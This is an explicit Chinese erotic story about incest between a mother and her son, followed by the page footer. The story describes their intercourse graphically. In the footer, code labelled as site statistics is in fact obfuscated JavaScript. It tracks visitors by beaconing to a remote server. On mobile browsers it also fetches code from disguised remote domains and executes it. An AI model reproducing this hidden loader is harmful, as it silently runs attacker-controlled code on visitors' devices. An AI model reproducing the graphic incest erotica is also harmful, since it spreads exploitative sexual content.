  阿龙还是担心诱母又泡汤了,所以两人一吻罢,阿龙就挪动身子轻轻的扶妈妈在沙发上躺下,然后弯腰脱去妈妈的裙子,美娟也眯眼任由儿子摆布,并且配合着抬臀抬腿。

  跟着阿龙又伸手脱妈妈身上仅有的三角裤,可是双手刚接触到妈妈的三角裤头,阿龙就莫名其妙的全身颤抖抖,不过阿龙仍然没住手,用颤巍巍的双手脱下妈妈的裤子,美娟也配合着抬起臀部让阿龙顺利的脱下自己的内裤。

  这一来,美娟浓密的阴毛、肥美的阴户都完全暴露在儿子的眼前了,不过阿龙因为怕又半途而废,所以也无暇细赏,猴急的脱下自己的裤子,稍微拨开妈妈的美腿就把炙热的超硬大屌压向妈妈的下体,然后就静静的压着。

  原来阿龙还是个处男,虽然偷看过黄色小说及图片,但是真枪实弹今天还是头一遭。美娟虽然已经浪的很了,可是看到儿子的憨态仍然忍不住微微一笑,知道如果不出手帮忙,可能要好事多磨了。

  美娟伸出双手扶住阿龙的胯骨稍稍往上推,阿龙配合着抬高屁股,美娟一手扳开自己的屄肉,一手伸到阿龙的腹下握住已经胀硬发热的大屌来轻触在屄口处,转手到阿龙的臀部轻轻一压,示意阿龙插入,呆头呆脑的阿龙会意的往下压,只听得「滋」的一声,整根大屌立时全只没入屄里,美娟舒服的呻吟:「嗯……喔……」

  只是这个愣小子也真是呆的可以,一插到底后竟然还是一动也不动静静的插着。

  美娟让儿子的大屌充满体内后心里踏实了,可是等不到下一步的动作,身体却渐渐烦躁起来,忍不住再度伸手扶住儿子的骻部,轻轻的推上压下,示意了两三次阿龙才猛然开窍的开始抽插,可是才三下就刺激兴奋的疯狂抽插,以致才只十下就觉得腰眼一酸,浓浓热热的精液喷洒而出,美娟教这一烫也舒服的搂住儿子呻吟出声:「嗯……嗯……嗯……」母子俩就这麽温存的搂着,直到美娟觉得儿子的东西开始软了下来,才推了推阿龙离开身体,起身捡起脱下的三角裤垫在阴部,在沙发上坐下来并拍拍沙发示意儿子挨到身边。

  久旷的美娟一旦抛售矜持放开胸怀,则深锁的情慾就犹如出闸的猛虎,十几下的抽插那里消的了火?阿龙刚刚的性交不仅没浇熄慾火,反而把个美娟像吊在半空中似的浑身难受,满脑子现在想的就是要狠狠的、猛猛的被只大屌抽肏一回来消消火,否则准会被慾火焚身而死。

  所以,阿龙结实的身体一挨过来,美娟立刻迫不及待的搂住,凑过去热吻,同时伸手往阿龙软软的老二一抓,一秒也不停的揉搓,恨不得它马上胀硬让自己受用受用。

  阿龙受到妈妈的热情对待,当然也热烈回应,嘴唇吻合之外手也在美娟身上不断游走,脖子、胸部、乳房、腹部、阴毛、大腿,来来回回循环着抚摸,最后则摸住浓密的阴毛,伸长手指,往下挤探向阴户,美娟感受到儿子的企图,立即张开双腿,臀部稍微往下滑一点,以便儿子能顺利的攻占密处。

  一攻占了密洞,阿龙立刻依着上次的经验摸抵洞口,哇!那儿已经一片湿淋淋,在洞口抠了几下,想起妈妈最敏感的阴唇,马上转变目标,用湿淋淋的指头滑揉阴唇。

  美娟本来已经满腔慾火未消,那堪再遇到儿子如此这般的爱抚?难受的全身扭转,更用力的抓阿龙的老二,满脸淫慾浪哼道:「阿……龙……嗯……哼……快……来……妈……要……你……哼……快……妈……要……」年轻人毕竟本钱雄厚,阿龙虽然刚刚才泄精,但是经由这一阵白嫩肉体的爱抚,再受妈妈这一淫声浪态的刺激,软软的肉屌应声胀大,就只两三秒的时间即胀硬如前。

  美娟一感受到,马上高兴的躺下,抬起双腿尽量靠向胸部,以便东西能更深入内里好刺激花心,再把小腿折回便于持久。

  阿龙看到妈妈摆出阵势,整个阴部完完全全的裸现在自己的面前,马上毫不思索的扶着大屌对准妈妈的屄洞插入,双手扶住妈妈的小腿站稳脚步,立刻猛抽猛插的一阵快攻。

  这一招误打误撞却正中美娟的下怀,久日的旷渴没有强而有力的快攻那能消解?

  所以乐的美娟销魂酥骨淫声连连:「喔……阿龙……喔……好……好……舒服……喔……嗯……用……用力……嗯……哼……嗯……喔……喔……」阿龙猛猛的抽插了两三百下后,觉得腰眼一酸,立刻屁股一沉,把龟头抵紧住深处的花心,一股热烫的浓精随即喷洒而出,烫得美娟舒服地紧搂着儿子「伊伊唔唔」大叫。

  这次的交合,充分满足美娟的需求,完全解决她的饥渴,让美娟得到舒解,也让阿龙初次嚐到性爱的刺激、兴奋与欢愉,所以尽管阿龙的精液泄完,两人仍然爱恋的紧搂着,胸腹一上一下的喘息不止……时钟刚敲过十一点半,忽然楼下传来开铁门的声音:「哗……啦……啦……啦!」惊醒沙发上搂拥着温存的母子,两人立即坐起,又听到关门声:「哗……啦……啦……啦……喀!」

  美娟推了推阿龙,低声说:「爸爸回来了,你先回房去。」同时起身快速地穿衣裙,阿龙则起身捡起散在地上的衣裤,裸着身子往寝室走,当他走到房门口时,从楼梯处传来:「喀……登……喀……登……喀……登……」高跟鞋登楼梯的声音,美娟回头狐疑的跟阿龙母子对望一眼,两人都相当怀疑,捅了这麽大漏子的小丽竟然敢回来?美娟迅速的穿好衣裙,抓起奶罩和三角裤垫在臀部,坐到沙发上,阿龙则将脚套进长裤管,把其余衣服丢入房内,然后边穿边走向妈妈的身后,才刚一坐定站妥小丽就出现在楼梯口。

  楼梯口的小丽看见客厅的姑姑和阿龙一时愣在那儿,好半晌,眼泪浮出眼眶哭叫着:「姑姑!姑姑!……」同时奔到美娟跟前,跪了下来,抽抽噎噎的说:「姑姑!请你原谅我!我真的不是故意的!求你不要赶我走,我发誓我会和姑爹断绝往来的,求你原谅我,请你不要赶我走,我已经无家可归了,求求你!」看着小丽边哭边说边磕头的可怜样,美娟实在有点不忍,毕竟她是自己的亲侄女,更何况自己和儿子敢突破籓篱,不能不说是由小丽促成的,而且……美娟沉思了一会想到,或许可以拿小丽当棋子逼丈夫就范,那不是就可以公然的和儿子亲热了吗?

  想到这里,美娟不禁微笑起来,说:「这件事让我考虑考虑再说,不过先决条件是,你要先告诉我你为什麽要和姑爹通奸?他是怎麽引诱你的?」「不是,不是,不是姑爹,姑爹是无辜的,是我引诱他的。」美娟讶异的问:「什麽?是你引诱他的?为什麽?」小丽满脸迟疑,似乎有难言之隐的吱吱唔唔:「这……这……这……」美娟催促着说:「这什麽这,快老老实实的跟姑姑说,否则什麽都别谈!」小丽在姑姑的强力催促下,好像下了很大的决心似的,咬了咬牙说:「好我说我说,但是姑姑,请你听完后不要告诉别人好不好?拜托拜托!」「这点倒是做的到。好,你说。」

  于是小丽的思绪沉回深层的记忆里,开始娓娓诉说起自己的故事……

       字数:11959

      
【完】


 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};